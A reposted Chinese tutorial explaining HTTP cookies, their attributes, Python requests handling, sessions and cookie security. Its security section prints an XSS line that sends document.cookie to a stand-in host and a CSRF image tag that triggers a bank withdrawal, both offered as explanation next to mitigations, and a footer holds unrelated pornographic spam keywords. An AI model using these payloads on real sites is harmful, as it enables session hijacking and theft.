1. 
          

          1. 新聞動(dòng)態(tài)

            必須掌握的cookie知識點(diǎn)都在這里

            網(wǎng)站建設 發(fā)布者:cya 2019-12-24 08:40 訪(fǎng)問(wèn)量:171

            來(lái)自公眾號:裸睡的豬

            相信很多同學(xué)肯定聽(tīng)過(guò)Cookie這個(gè)東西,也大概了解其作用,但是其原理以及如何設置,可能沒(méi)有做過(guò)web的同學(xué)并不是非常清楚,那今天豬哥就帶大家詳細了解下Cookie相關(guān)的知識!

            一、誕生背景

            爬蟲(chóng)系列教程的第一篇:HTTP詳解中我們便說(shuō)過(guò)HTTP的五大特點(diǎn),而其中之一便是:無(wú)狀態(tài)

            HTTP無(wú)狀態(tài):服務(wù)器無(wú)法知道兩個(gè)請求是否來(lái)自同一個(gè)瀏覽器,即服務(wù)器不知道用戶(hù)上一次做了什么,每次請求都是完全相互獨立。

            早期互聯(lián)網(wǎng)只是用于簡(jiǎn)單的瀏覽文檔信息、查看黃頁(yè)、門(mén)戶(hù)網(wǎng)站等等,并沒(méi)有交互這個(gè)說(shuō)法。但是隨著(zhù)互聯(lián)網(wǎng)慢慢發(fā)展,寬帶、服務(wù)器等硬件設施已經(jīng)得到很大的提升,互聯(lián)網(wǎng)允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無(wú)狀態(tài)的特點(diǎn)卻嚴重阻礙其發(fā)展!

            交互式Web:客戶(hù)端與服務(wù)器可以互動(dòng),如用戶(hù)登錄,購買(mǎi)商品,各種論壇等等

            不能記錄用戶(hù)上一次做了什么,怎么辦?聰明的程序員們就開(kāi)始思考:怎么樣才能記錄用戶(hù)上一次的操作信息呢?于是有人就想到了隱藏域。

            隱藏域寫(xiě)法:<input type="hidden" name="field_name" value="value">

            這樣把用戶(hù)上一次操作記錄放在form表單的input中,這樣請求時(shí)將表單提交不就知道上一次用戶(hù)的操作,但是這樣每次都得創(chuàng )建隱藏域而且得賦值太麻煩,而且容易出錯!

            ps:隱藏域作用強大,時(shí)至今日都有很多人在用它解決各種問(wèn)題!

            網(wǎng)景公司當時(shí)一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用于網(wǎng)絡(luò )通信,用來(lái)解決用戶(hù)網(wǎng)上購物的購物車(chē)歷史記錄,而當時(shí)最強大的瀏覽器正是網(wǎng)景瀏覽器,在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開(kāi)始支持Cookie,到目前所有瀏覽器都支持Cookie了

            二、Cookie是什么

            前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無(wú)狀態(tài)的特性無(wú)法滿(mǎn)足交互式web,那它究竟是什么呢?

            上圖是在Chrome瀏覽器中的百度首頁(yè)的Cookies(Cookie的復數形式),在表格中,每一行都代表著(zhù)一個(gè)Cookie,所以我們來(lái)看看Cookie的定義吧!

            Cookie是由服務(wù)器發(fā)給客戶(hù)端的特殊信息,而這些信息以文本文件的方式存放在客戶(hù)端,然后客戶(hù)端每次向服務(wù)器發(fā)送請求的時(shí)候都會(huì )帶上這些特殊的信息,用于服務(wù)器記錄客戶(hù)端的狀態(tài)。

            Cookie主要用于以下三個(gè)方面:

            1. 會(huì )話(huà)狀態(tài)管理(如用戶(hù)登錄狀態(tài)、購物車(chē)、游戲分數或其它需要記錄的信息)

            2. 個(gè)性化設置(如用戶(hù)自定義設置、主題等)

            3. 瀏覽器行為跟蹤(如跟蹤分析用戶(hù)行為等)

            三、Cookie原理

            我們在了解了Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個(gè)過(guò)程呢?為了大家便于理解,豬哥就以用戶(hù)登錄為例子為大家畫(huà)了一幅Cookie原理圖


            用戶(hù)在輸入用戶(hù)名和密碼之后,瀏覽器將用戶(hù)名和密碼發(fā)送給服務(wù)器,服務(wù)器進(jìn)行驗證,驗證通過(guò)之后將用戶(hù)信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。

            HTTP/1.1 200 OK
            Content-type: text/html
            Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

            [響應體]


            瀏覽器收到服務(wù)器返回數據,發(fā)現請求頭中有一個(gè):Set-Cookie,然后它就把這個(gè)Cookie保存起來(lái),下次瀏覽器再請求服務(wù)器的時(shí)候,會(huì )把Cookie也放在請求頭中傳給服務(wù)器:

            GET /sample_page.html HTTP/1.1
            Host: www.example.org
            Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg


            服務(wù)器收到請求后從請求頭中拿到cookie,然后解析并到用戶(hù)信息,說(shuō)明此用戶(hù)已登錄,Cookie是將數據保存在客戶(hù)端的。

            這里我們可以看到,用戶(hù)信息是保存在Cookie中,也就相當于是保存在瀏覽器中,那就說(shuō)用戶(hù)可以隨意修改用戶(hù)信息,這是一種不安全的策略!

            強調一點(diǎn):Cookie無(wú)論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器,都是放在請求頭中的!

            四、Cookie屬性

            下圖中我們可以看到一個(gè)Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來(lái)看看


            1、Name&Value

            Name表示Cookie的名稱(chēng),服務(wù)器就是通過(guò)name屬性來(lái)獲取某個(gè)Cookie值。

            Value表示Cookie 的值,大多數情況下服務(wù)器會(huì )把這個(gè)value當作一個(gè)key去緩存中查詢(xún)保存的數據。

            2、Domain&Path

            Domain表示可以訪(fǎng)問(wèn)此cookie的域名,下圖我們以百度貼吧頁(yè)的Cookie來(lái)講解一下Domain屬性。



            從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這里就會(huì )有一個(gè)訪(fǎng)問(wèn)規則:頂級域名只能設置或訪(fǎng)問(wèn)頂級域名的Cookie,二級及以下的域名只能訪(fǎng)問(wèn)或設置自身或者頂級域名的Cookie,所以如果要在多個(gè)二級域名中共享Cookie的話(huà),只能將Domain屬性設置為頂級域名!

            Path表示可以訪(fǎng)問(wèn)此cookie的頁(yè)面路徑。比如path=/test,那么只有/test路徑下的頁(yè)面可以讀取此cookie。

            3、Expires/Max-Age

            Expires/Max-Age表示此cookie超時(shí)時(shí)間。若設置其值為一個(gè)時(shí)間,那么當到達此時(shí)間后,此cookie失效。不設置的話(huà)默認值是Session,意思是cookie會(huì )和session一起失效。當瀏覽器關(guān)閉(不是瀏覽器標簽頁(yè),而是整個(gè)瀏覽器) 后,此cookie失效。

            提示:當Cookie的過(guò)期時(shí)間被設定時(shí),設定的日期和時(shí)間只與客戶(hù)端相關(guān),而不是服務(wù)端。

            4、Size

            Size表示Cookie的name+value的字符數,比如有一個(gè)Cookie:id=666,那么Size=2+3=5 。

            另外每個(gè)瀏覽器對Cookie的支持都不相同

            5、HTTP

            HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會(huì )帶有此cookie的信息,而不能通過(guò)document.cookie來(lái)訪(fǎng)問(wèn)此cookie。



            設計該特征意在提供一個(gè)安全措施來(lái)幫助阻止通過(guò)Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為

            6、Secure

            Secure表示是否只能通過(guò)https來(lái)傳遞此條cookie。不像其它選項,該選項只是一個(gè)標記并且沒(méi)有其它的值。


            這種cookie的內容意指具有很高的價(jià)值并且可能潛在的被破解以純文本形式傳輸。

            五、Python操作Cookie

            1、生成Cookie

            前面我們說(shuō)過(guò)Cookie是由服務(wù)端生成的,那如何用Python代碼來(lái)生成呢?


            從上圖登錄代碼中我們看到,在簡(jiǎn)單的驗證用戶(hù)名和密碼之后,服務(wù)器跳轉到/user,然后set了一個(gè)cookie,瀏覽器收到響應后發(fā)現請求頭中有一個(gè):Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會(huì )將這個(gè)Cookie保存起來(lái)!

            2、獲取Cookie

            最近我們一直在講requests模塊,這里我們就用requests模塊來(lái)獲取Cookie。



            r.cookies表示獲取所有cookie,get_dict()函數表示返回的是字典格式cookie。

            3、設置Cookie

            上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設置Cookie



            我們就瀏覽器復制過(guò)來(lái)的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數據,復制Cookie是爬蟲(chóng)中常用的一種手段!

            六、Session

            1、誕生背景

            其實(shí)在Cookie設計之初,并不像豬哥講的那樣Cookie只保存一個(gè)key,而是直接保存用戶(hù)信息,剛開(kāi)始大家認為這樣用起來(lái)很爽,但是由于cookie 是存在用戶(hù)端,而且它本身存儲的尺寸大小也有限,最關(guān)鍵是用戶(hù)可以是可見(jiàn)的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個(gè)時(shí)候,一種新的存儲會(huì )話(huà)機制:Session 誕生了。

            2、Session是什么

            Session翻譯為會(huì )話(huà),服務(wù)器為每個(gè)瀏覽器創(chuàng )建的一個(gè)會(huì )話(huà)對象,瀏覽器在第一次請求服務(wù)器,服務(wù)器便會(huì )為這個(gè)瀏覽器生成一個(gè)Session對象,保存在服務(wù)端,并且把Session的Id以cookie的形式發(fā)送給客戶(hù)端瀏覽,而以用戶(hù)顯式結束或session超時(shí)為結束。

            我們來(lái)看看Session工作原理:

            1. 當一個(gè)用戶(hù)向服務(wù)器發(fā)送第一個(gè)請求時(shí),服務(wù)器為其建立一個(gè)session,并為此session創(chuàng )建一個(gè)標識號(sessionID)。

            2. 這個(gè)用戶(hù)隨后的所有請求都應包括這個(gè)標識號(sessionID)。服務(wù)器會(huì )校對這個(gè)標識號以判斷請求屬于哪個(gè)session。

            對于session標識號(sessionID),有兩種方式實(shí)現:Cookie和URL重寫(xiě),豬哥就以Cookie的實(shí)現方式畫(huà)一個(gè)Session原理圖


            聯(lián)系cookie原理圖我們可以看到,Cookie是將數據直接保存在客戶(hù)端,而Session是將數據保存在服務(wù)端,就安全性來(lái)講Session更好!

            3、Python操作Session

            后面豬哥將會(huì )以登錄的例子來(lái)講解如何用Python代碼操作Session

            七、面試場(chǎng)景

            1、Cookie和Session關(guān)系

            1. 都是為了實(shí)現客戶(hù)端與服務(wù)端交互而產(chǎn)出

            2. Cookie是保存在客戶(hù)端,缺點(diǎn)易偽造、不安全

            3. Session是保存在服務(wù)端,會(huì )消耗服務(wù)器資源

            4. Session實(shí)現有兩種方式:Cookie和URL重寫(xiě)

            2、Cookie帶來(lái)的安全性問(wèn)題

            1. 會(huì )話(huà)劫持和XSS在Web應用中,Cookie常用來(lái)標記用戶(hù)或授權會(huì )話(huà)。因此,如果Web應用的Cookie被竊取,可能導致授權用戶(hù)的會(huì )話(huà)受到攻擊。常用的竊取Cookie的方法有利用社會(huì )工程學(xué)攻擊和利用應用程序漏洞進(jìn)行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類(lèi)型的Cookie由于阻止了JavaScript對其的訪(fǎng)問(wèn)性而能在一定程度上緩解此類(lèi)攻擊。

            2. 跨站請求偽造(CSRF)維基百科已經(jīng)給了一個(gè)比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當你打開(kāi)含有了這張圖片的HTML頁(yè)面時(shí),如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效(還沒(méi)有其它驗證步驟),你銀行里的錢(qián)很可能會(huì )被自動(dòng)轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命周期等

            八、總結

            今天為大家講解了Cookie的相關(guān)知識,以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問(wèn)題。希望大家能對Cookie(小餅干)能有個(gè)全面的了解,這樣對你在今后的爬蟲(chóng)學(xué)習中會(huì )大有裨益!


            關(guān)鍵字: 開(kāi)封網(wǎng)站建設 Cookie

            文章連接: http://www.gostscript.com/wzjss/655.html

            版權聲明:文章由 晨展科技 整理收集,來(lái)源于互聯(lián)網(wǎng)或者用戶(hù)投稿,如有侵權,請聯(lián)系我們,我們會(huì )立即刪除。如轉載請保留

            双腿国产亚洲精品无码不卡|国产91精品无码麻豆|97久久久久久久极品|无码人妻少妇久久中文字幕
                1.